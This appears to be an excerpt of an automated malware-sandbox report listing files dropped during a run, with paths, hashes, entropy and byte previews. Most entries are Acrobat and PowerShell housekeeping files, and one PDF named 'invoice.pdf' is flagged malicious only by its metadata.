Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSId4bac.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.493870954423123
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl8wlNPl:Qw946cPbiOxDlbYnuRKdUft
MD5:	0B7737C34A892701F5654BA774F183BA
SHA1:	E4AB3791BB47915C2FCCD878AAAB532ABF160BFF
SHA-256:	DE35BF350233535EE06F11F84CE6EC52680B20FF4A2F2426A055DAD09B71DDB7
SHA-512:	6161D76765715C0270D2A6C2972B8F0ED236E050B24F7E90C4C3ED81A011E385B947EF822D4F6DDF426D512ED1F665FFE7DEA35DEDDBD6455CE6D2C262F6CD15
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.1.:.0.5.:.0.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vrwzmrzl.qsj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vvku3v1o.0hf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91mv3ppr_19qd9b1_5yo.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A97u5yjm_19qd9b0_5yo.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 01-05-02-869.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.349725200440423
Encrypted:	false
SSDEEP:	384:foMVMcKwQGVN024LSYra6FyIbxS4GJ9iQP0g6W6RlMV3JAGVlLD72B2vuZPhs5pF:zAW
MD5:	EAEB9093AE8AB4BE76B9EF9CDF65F99C
SHA1:	F40FCE337A71FB614BB817A9FE27B44797F67373
SHA-256:	2AABC4CC3D329DE8575D7ABEB2545C983D9B31C7B2CF8C4B6CE4103109B8D3CE
SHA-512:	28E4EBC86ED0694D18B25486A6555787BB7F56922687251B2F25CFD2889B6006298F22D5EEFDFBEA128A50A8927F2E52702B61A64C211516538A4FB5E0AA70BB
Malicious:	false
Preview:	SessionID=7a33cc73-d11e-404b-8a9e-f65c8365b9dc.1736575502952 Timestamp=2025-01-11T01:05:02:952-0500 ThreadID=7352 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=7a33cc73-d11e-404b-8a9e-f65c8365b9dc.1736575502952 Timestamp=2025-01-11T01:05:02:953-0500 ThreadID=7352 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=7a33cc73-d11e-404b-8a9e-f65c8365b9dc.1736575502952 Timestamp=2025-01-11T01:05:02:953-0500 ThreadID=7352 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=7a33cc73-d11e-404b-8a9e-f65c8365b9dc.1736575502952 Timestamp=2025-01-11T01:05:02:953-0500 ThreadID=7352 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=7a33cc73-d11e-404b-8a9e-f65c8365b9dc.1736575502952 Timestamp=2025-01-11T01:05:02:953-0500 ThreadID=7352 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.380689129640903
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rm:83
MD5:	F6FE8BE0D512E3C9167430ED90789271
SHA1:	FDB99ADA1B3F9A5673EA0AE2FD0228ADC43FA26F
SHA-256:	3D21C94A2CF27FED243BC605FE08DFF8C49158CC09FDFAF00F7942EDBDE077F3
SHA-512:	D2CBBE95BC44E414B5E2B5F590782C965C91F66E2FC9DC4B30581E896A261F5E6B8998799EF3222801697C7F3D019EC3241EF35C9B9BEB2279562B4FB0A84F12
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0b41967e-5e75-40b9-a22c-30af5bae14bc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\45aab2ea-df0f-4637-82e6-5bfe682b283e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\822012c4-5e45-4999-8821-51fe5a61c33d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6ZSWBlkipdjum21D1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3PjegfZS8lkipdj321DMNB1DofjgJJg
MD5:	F0D0ECAE1E5D07A2F3D08371DFED8CDF
SHA1:	05A0C4389DE443C2AB77F78D0D2B552260B84003
SHA-256:	CFA56E7EB28AF60F9CFFD8C53522932411CEDF776A809F8362614DAF61A568F9
SHA-512:	14E6138FE9FE3F22117BCCF8216DE03BC8539A413B81A691496A3C621CB6AD80746E86D6FCD75B2BE0FB70A14807CBBFBC70A2A6B5B2E2F4218C3A52A1F73D9F
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\c01686bd-756f-4d71-bed8-7f23d132eb8e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
